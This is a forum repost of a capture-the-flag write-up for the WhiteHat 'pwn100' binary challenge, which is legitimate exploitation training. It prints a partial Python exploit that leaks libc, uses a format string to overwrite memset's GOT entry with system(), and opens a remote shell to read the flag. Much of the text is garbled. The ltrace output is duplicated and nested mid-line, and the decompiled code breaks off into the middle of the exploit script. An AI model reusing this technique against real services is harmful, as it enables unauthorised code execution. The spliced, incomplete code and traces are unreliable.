sunny
VIP Members
-
30/06/2014
-
870
-
1.849 bài viết
[WhiteHat Contest 10] Writeup Pwn100
Writeup được chia sẻ tại https://ctf-team.vulnhub.com/whitehat-ctf-2015-pwn100/, sunny đưa về WhiteHat cho anh em tham khảo và học tiếng Anh luôn.
Thank barrebas and superkojiman
__________________
Running it:
It doesn’t do a whole lot, it takes two strings as input and then starts looping. Superkojiman and I quickly realized we could crash this C++ application by sending more than 300 bytes as input. However, this made it crash in strlen:
This is unfortunate. It actually combined our inputs and then decided to crash via a null pointer in strlen. We started investigating the binary in more detail. It fills two “Tag” structures on the heap with our input:
Let’s run it against the remote system:
A lot of crap is printed, but in the end we land our shell!
Thank barrebas and superkojiman
__________________
Mã:
bas@tritonal:~/tmp/wh/pwn100$ file pwn100
pwn100: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=0xce8e5ce254c2d733d19d9435903aff3656bef10e, not stripped
bas@tritonal:~/tmp/wh/pwn100$ objdump -d -M intel --no-show-raw-insn ./pwn100 > pwn100.out
Mã:
bas@tritonal:~/tmp/wh/pwn100$ ./pwn100
INPUT1
INPUT2
========
T1Verify 1
INPUT1
T2Verify 1
INPUT2
========
T1Verify 1
INPUT1
T2Verify 1
INPUT2
...etc...
Mã:
bas@tritonal:~/tmp/wh/pwn100$ python -c 'print "A"*300+"\n"+"B"*300+"\n"' | ltrace ./pwn100
__libc_start_main(0x8048747, 1, 0xffbfc5c4, 0x8048c20, 0x8048c90
_ZNSt8ios_base4InitC1Ev(0x804a054, 0xf77975e0, 0, 0xf76a7ff4, 0xf77560d0) = 0
__cxa_atexit(0x80485d0, 0x804a054, 0x804a044, 0xf76a7ff4, 0xf77560d0) = 0
malloc(10240) = 0x081af008
memset(0xffbfc10c, '
bas@tritonal:~/tmp/wh/pwn100$ python -c 'print "A"*300+"\n"+"B"*300+"\n"' | ltrace ./pwn100
__libc_start_main(0x8048747, 1, 0xffbfc5c4, 0x8048c20, 0x8048c90
_ZNSt8ios_base4InitC1Ev(0x804a054, 0xf77975e0, 0, 0xf76a7ff4, 0xf77560d0) = 0
__cxa_atexit(0x80485d0, 0x804a054, 0x804a044, 0xf76a7ff4, 0xf77560d0) = 0
malloc(10240) = 0x081af008
memset(0xffbfc10c, '\000', 1024) = 0xffbfc10c
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1024) = 603
strlen("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 603
memset(0xffbfc10c, '\000', 1024) = 0xffbfc10c
read(0, "", 1024) = 0
strlen("") = 0
strlen("") = 0
memset(0x081af020, '\000', 0) = 0x081af020
strlen("") = 0
memcpy(0x081af020, "", 0) = 0x081af020
strlen("") = 0
strlen("") = 0
write(1, "========\n", 9========
) = 9
write(1, "T1", 2T1) = 2
memset(0xffbfb8dc, '\000', 1024) = 0xffbfb8dc
sprintf("Verify 0\n", "Verify %x\n", 0) = 9
write(1, "Verify 0\n", 20Verify 0
) = 20
memset(0xffbfb8dc, '\000', 1024) = 0xffbfb8dc
strlen(NULL
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
00', 1024) = 0xffbfc10c
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1024) = 603
strlen("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 603
memset(0xffbfc10c, '
bas@tritonal:~/tmp/wh/pwn100$ python -c 'print "A"*300+"\n"+"B"*300+"\n"' | ltrace ./pwn100
__libc_start_main(0x8048747, 1, 0xffbfc5c4, 0x8048c20, 0x8048c90
_ZNSt8ios_base4InitC1Ev(0x804a054, 0xf77975e0, 0, 0xf76a7ff4, 0xf77560d0) = 0
__cxa_atexit(0x80485d0, 0x804a054, 0x804a044, 0xf76a7ff4, 0xf77560d0) = 0
malloc(10240) = 0x081af008
memset(0xffbfc10c, '\000', 1024) = 0xffbfc10c
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1024) = 603
strlen("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 603
memset(0xffbfc10c, '\000', 1024) = 0xffbfc10c
read(0, "", 1024) = 0
strlen("") = 0
strlen("") = 0
memset(0x081af020, '\000', 0) = 0x081af020
strlen("") = 0
memcpy(0x081af020, "", 0) = 0x081af020
strlen("") = 0
strlen("") = 0
write(1, "========\n", 9========
) = 9
write(1, "T1", 2T1) = 2
memset(0xffbfb8dc, '\000', 1024) = 0xffbfb8dc
sprintf("Verify 0\n", "Verify %x\n", 0) = 9
write(1, "Verify 0\n", 20Verify 0
) = 20
memset(0xffbfb8dc, '\000', 1024) = 0xffbfb8dc
strlen(NULL
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
00', 1024) = 0xffbfc10c
read(0, "", 1024) = 0
strlen("") = 0
strlen("") = 0
memset(0x081af020, '
bas@tritonal:~/tmp/wh/pwn100$ python -c 'print "A"*300+"\n"+"B"*300+"\n"' | ltrace ./pwn100
__libc_start_main(0x8048747, 1, 0xffbfc5c4, 0x8048c20, 0x8048c90
_ZNSt8ios_base4InitC1Ev(0x804a054, 0xf77975e0, 0, 0xf76a7ff4, 0xf77560d0) = 0
__cxa_atexit(0x80485d0, 0x804a054, 0x804a044, 0xf76a7ff4, 0xf77560d0) = 0
malloc(10240) = 0x081af008
memset(0xffbfc10c, '\000', 1024) = 0xffbfc10c
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1024) = 603
strlen("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 603
memset(0xffbfc10c, '\000', 1024) = 0xffbfc10c
read(0, "", 1024) = 0
strlen("") = 0
strlen("") = 0
memset(0x081af020, '\000', 0) = 0x081af020
strlen("") = 0
memcpy(0x081af020, "", 0) = 0x081af020
strlen("") = 0
strlen("") = 0
write(1, "========\n", 9========
) = 9
write(1, "T1", 2T1) = 2
memset(0xffbfb8dc, '\000', 1024) = 0xffbfb8dc
sprintf("Verify 0\n", "Verify %x\n", 0) = 9
write(1, "Verify 0\n", 20Verify 0
) = 20
memset(0xffbfb8dc, '\000', 1024) = 0xffbfb8dc
strlen(NULL
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
00', 0) = 0x081af020
strlen("") = 0
memcpy(0x081af020, "", 0) = 0x081af020
strlen("") = 0
strlen("") = 0
write(1, "========\n", 9========
) = 9
write(1, "T1", 2T1) = 2
memset(0xffbfb8dc, '
bas@tritonal:~/tmp/wh/pwn100$ python -c 'print "A"*300+"\n"+"B"*300+"\n"' | ltrace ./pwn100
__libc_start_main(0x8048747, 1, 0xffbfc5c4, 0x8048c20, 0x8048c90
_ZNSt8ios_base4InitC1Ev(0x804a054, 0xf77975e0, 0, 0xf76a7ff4, 0xf77560d0) = 0
__cxa_atexit(0x80485d0, 0x804a054, 0x804a044, 0xf76a7ff4, 0xf77560d0) = 0
malloc(10240) = 0x081af008
memset(0xffbfc10c, '\000', 1024) = 0xffbfc10c
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1024) = 603
strlen("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 603
memset(0xffbfc10c, '\000', 1024) = 0xffbfc10c
read(0, "", 1024) = 0
strlen("") = 0
strlen("") = 0
memset(0x081af020, '\000', 0) = 0x081af020
strlen("") = 0
memcpy(0x081af020, "", 0) = 0x081af020
strlen("") = 0
strlen("") = 0
write(1, "========\n", 9========
) = 9
write(1, "T1", 2T1) = 2
memset(0xffbfb8dc, '\000', 1024) = 0xffbfb8dc
sprintf("Verify 0\n", "Verify %x\n", 0) = 9
write(1, "Verify 0\n", 20Verify 0
) = 20
memset(0xffbfb8dc, '\000', 1024) = 0xffbfb8dc
strlen(NULL
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
00', 1024) = 0xffbfb8dc
sprintf("Verify 0\n", "Verify %x\n", 0) = 9
write(1, "Verify 0\n", 20Verify 0
) = 20
memset(0xffbfb8dc, '
bas@tritonal:~/tmp/wh/pwn100$ python -c 'print "A"*300+"\n"+"B"*300+"\n"' | ltrace ./pwn100
__libc_start_main(0x8048747, 1, 0xffbfc5c4, 0x8048c20, 0x8048c90
_ZNSt8ios_base4InitC1Ev(0x804a054, 0xf77975e0, 0, 0xf76a7ff4, 0xf77560d0) = 0
__cxa_atexit(0x80485d0, 0x804a054, 0x804a044, 0xf76a7ff4, 0xf77560d0) = 0
malloc(10240) = 0x081af008
memset(0xffbfc10c, '\000', 1024) = 0xffbfc10c
read(0, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"..., 1024) = 603
strlen("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...) = 603
memset(0xffbfc10c, '\000', 1024) = 0xffbfc10c
read(0, "", 1024) = 0
strlen("") = 0
strlen("") = 0
memset(0x081af020, '\000', 0) = 0x081af020
strlen("") = 0
memcpy(0x081af020, "", 0) = 0x081af020
strlen("") = 0
strlen("") = 0
write(1, "========\n", 9========
) = 9
write(1, "T1", 2T1) = 2
memset(0xffbfb8dc, '\000', 1024) = 0xffbfb8dc
sprintf("Verify 0\n", "Verify %x\n", 0) = 9
write(1, "Verify 0\n", 20Verify 0
) = 20
memset(0xffbfb8dc, '\000', 1024) = 0xffbfb8dc
strlen(NULL
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
00', 1024) = 0xffbfb8dc
strlen(NULL
--- SIGSEGV (Segmentation fault) ---
+++ killed by SIGSEGV +++
This is unfortunate. It actually combined our inputs and then decided to crash via a null pointer in strlen. We started investigating the binary in more detail. It fills two “Tag” structures on the heap with our input:
Mã:
int Tag::set_tag_content(char*)(int * arg_0) {
eax = strlen(arg_4);
if (eax > 8) & 0xff) - (libc_rce & 0xff)) & 0xff
magic3 = ((0x100 + (libc_rce >> 16) & 0xff) - ((libc_rce >> 8) & 0xff)) & 0xff
# send new t2
readtil('content?')
# ugly format string will write out address of system() into memset@got byte-by-byte
s.send(p(0x804a020)+p(0x804a021)+p(0x804a022)+"%"+str(magic1)+"c%6$hhn%"+str(magic2)+"c%7$hhn%"+str(magic3)+"c%8$hhn\n") # 0x804a01c = write@got
readtil('content?')
# validate t2 by sending an invalid t1
s.send("%"*512+"\x01")
s.recv(100)
# we now get another shot at sending a correct t1,
# however, memset is overwritten with system(), so now it should spawn a shell
s.send('/bin/sh\x0a')
print "[+] Enjoy your shell!"
t = telnetlib.Telnet()
t.sock = s
t.interact()
s.close()
pwn()
Let’s run it against the remote system:
Mã:
bas@tritonal:~/tmp/wh/pwn100$ python poc1.py
[+] Leaked write : 0xf75c0510
[+] libc base addr : 0xf74e7000
[+] libc system addr: 0xf7526cd0
[+] Enjoy your shell!
T2Verify 1
...snip...
T1sh: 1: Syntax error: Unterminated quoted string
Verify 0
sh: 1: Verify: not found
/bin/sh
...snip...
Not verify , content?
id
uid=1002 gid=1002
cat /home/*/flag
WhiteHat{786fdd7b4ed544a186e6457a4c24fe8a95a67bbc}
A lot of crap is printed, but in the end we land our shell!